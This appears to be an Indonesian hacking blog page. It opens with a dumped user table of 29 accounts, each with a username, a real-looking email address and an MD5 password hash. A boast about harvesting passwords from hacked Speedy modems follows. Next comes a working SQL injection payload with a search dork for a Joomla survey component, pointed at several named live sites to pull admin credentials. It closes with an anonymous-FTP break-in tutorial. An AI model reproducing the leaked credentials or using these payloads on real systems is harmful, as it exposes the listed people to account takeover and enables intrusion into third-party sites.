Xr0b0t Website

[ ] 8633 User: JoeyK. | Email: stormstoys@aol.com | Password: e3c9340fac47689a01a8dcdce6d42e27
[ ] 8547 User: killer777 | Email: corbinbroncos@hotmail.com | Password: 1871e1fde6e5a59fcb048c5aaefba906
[ ] 8561 User: Olly | Email: Cobain6794@hotmail.co.uk | Password: 96518056f8c3d6c2e12aae704ecf97a5
[ ] 7996 User: runemaster7 | Email: andrew_kelly1@hotmail.com | Password: 9c4de1160b65c3538dd7de43d3e5853b
[ ] 3945 User: devils elbow | Email: devils.3lbow@gmail.com | Password: a42cbaa82b00c61d89d06b43dc1f7923
[ ] 3806 User: profile | Email: stop----@hotmail.com | Password: 9ffa1dbaeb556c5d896d19f32d481308
[ ] 2943 User: sykoticmynde | Email: joeall9339@yahoo.com | Password: d8578edf8458ce06fbc5bb76a58c5ca4
[ ] 1410 User: jetgrind | Email: jetgrind3001@yahoo.com | Password: 5f4dcc3b5aa765d61d8327deb882cf99
[ ] 451 User: Someguy | Email: adil_sunesara@sbcglobal.net | Password: f379eaf3c831b04de153469d1bec345e
[ ] 4 User: Soul Deciever | Email: hellzwing@gmail.com | Password: e19d5cd5af0378da05f63f891c7467af
[ ] 5 User: BlckMajick | Email: wilfshaw14@msn.com | Password: e30ed146aea4462c10943f0c43a5e188
[ ] 172 User: helix | Email: russell@macrosupport.net | Password: f83f821348e7f43ad56d0885a02e8dff
[ ] 8 User: Rune Cheater | Email: Game_dragons@hotmail.com | Password: 5a90e81c96efffa14c13b49b1cf56574
[ ] 2983 User: optics | Email: metallica_kicks_ass7@hotmail.com | Password: 3c2234a7ce973bc1700e0c743d6a819c
[ ] 9 User: Che$$ | Email: chess_scripter@hotmail.com | Password: d4bb6a3d9294a3217acd531c3ac47cf5
[ ] 10 User: abdulrahman1 | Email: abdulredflames11@yahoo.com | Password: 4fc7c3cfabad4f8327a1f4b19a006b4d
[ ] 469 User: Horny | Email: gundamwing_gzp@hotmail.com | Password: 7c84f797d1db435302a99e2a2e7e9765
[ ] 470 User: stierke2 | Email: thomasclaessens1@gmail.com | Password: 5583413443164b56500def9a533c7c70
[ ] 11 User: Perpetua | Email: fagexpassforperpetua@starcade.be | Password: ae97d69a02e3a65a40d6ef077f4015f1
[ ] 7813 User: andy034 | Email: pimping_bananas@hotmail.com | Password: ebcfd5a11d7cf5ba89f838fc766be7a4
[ ] 169 User: LiQuiD FrEEzE456 | Email: 1 | Password: 7ab944f5c994702ddf9bffc30eab7e07
[ ] 1604 User: Rs_Pmod | Email: rs_pmod@hotmail.com | Password: 0de8a2fe1769c2cbf6346de6de822d97
[ ] 1578 User: sjsbts | Email: centralidiotclub@yahoo.com | Password: ba99d415b962ebc0ebfba4776fb3636e
[ ] 948 User: justanothercheater | Email: pk_diablo@cox.net | Password: 5f4dcc3b5aa765d61d8327deb882cf99
[ ] 170 User: sexpistols | Email: | Password: 2b877b4b825b48a9a0950dd5bd1f264d
[ ] 13 User: Fanta | Email: mountain_dewil@hotmail.com | Password: f66290fb3be63da4f5e7eb1b5564dc21
[ ] 8013 User: DannRS | Email: briggs@phreaker.net | Password: 05b8c74cbd96fbf2de4c1a352702fbf4
[ ] 7963 User: Kevin2692 | Email: kvn_bly@yahoo.com | Password: 00bfc8c729f5d4d529a412b12c58ddd2
[ ] 2910 User: stingray | Email: Nathan@thelanlounge.co.uk | Password: 1740f75dde346c3622387b0a61d8c7fe

heeeem hari ini adalah hari yang membuat aku capek hihihi
dimana hari ini satu malem aku abis hacking modem speedy
n dapet sak ambrek username n password huhf
capek






heeeem
pengen tau tah tutornya
silakan download vidionya disini

[+] Vendor : http://www.focusdev.co.uk/
[+] Download : http://www.focusdev.co.uk/products/8-joomla-products/17-survey-manager
[+] version : 1.5.0
[+] Vulnerability : SQL injection
[+] Dork : inurl:"com_surveymanager"

#############################################################################################################

[ Vulnerable File ]

http://127.0.0.1/index.php?option=com_surveymanager&task=editsurvey&stype=[SQL]

[ Exploit ]

-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

[ Demo ]

http://portal.psz.utm.my/div/btk/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

http://www.acs-stny.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

http://ridsrealty.com/index.php?option=com_surveymanager&task=editsurvey&stype=-2+union+select+1,concat_ws(0x3a,username,password),3,4,5,6+from+jos_users--

FTP (singkatan dari File Transfer Protocol) adalah sebuah protokol Internet yang berjalan di dalam lapisan aplikasi yang merupakan standar untuk pentransferan berkas (file) komputer antar mesin-mesin dalam sebuah internetwork.

Sebenernya ini tekhnik untung-untungan, memanfaatkan kelalaian admin situs atau penyedia hosting yang memungkinkan pengguna anonymous di ijinkan mengakses FTP.. 1

ok, langsung aja, silahkan coba :

1. Run >> CMD
2. Ketik ftp situstarget.com
3. jika beruntung akan muncul tulisan seperti berikut :

a.


Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)):

Tapi jika tidak beruntung maka akan muncul tulisan seperti ini :
b.

Connected to situstarget.com.
220———- Welcome to Pure-FTPd [TLS] ———-
220-You are user number 1 of 50 allowed.
220-Local time is now 21:31. Server port: 21.
220-This is a private system – No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 30 minutes of inactivity.
User (situstarget.com:(none)):

atau

c.

Connected to situstarget.com.
220 ProFTPD 1.3.1 Server (Debian) [::ffff:119.235.18.72]
User (situstarget.com:(none)):

Apa bedanya pesan tersebut..?
a. = Mengijinkan pengguna anonymous mengakses FTP
b. dan c. = Tidak di ijinkan

4. Nah kalau yang muncul adalah pesan yang pertama, maka kamu cukup mengetikan “anonymous” sebagai username lalu enter.

Connected to situstarget.com.
220———- Welcome to PureFTPd 1.0.12 ———-
220-You are user number 2 of 50 allowed.
220-Local time is now 15:21 and the load is 0.03. Server port: 21.
220 You will be disconnected after 15 minutes of inactivity.
User (situstarget.com:(none)): anonymous
331 Any password will work
Password:
230 Any password will work

pada pesan tersebut terdapat pesan “Any password will work” pasti dah tau artinya kan..? 10

Sekarang kamu memiliki akses FTP, dan untuk melihat command apa aja yang tersedia, kam bisa mengetikan help.

Semoga bermanfaat.. 1
from : http://bobyhikaru.biz/